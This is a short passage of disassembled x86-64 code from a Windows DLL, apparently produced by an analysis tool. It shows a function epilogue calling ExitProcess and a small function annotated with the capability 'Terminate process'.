call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x180023668

Function at 0x180023800
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x180023668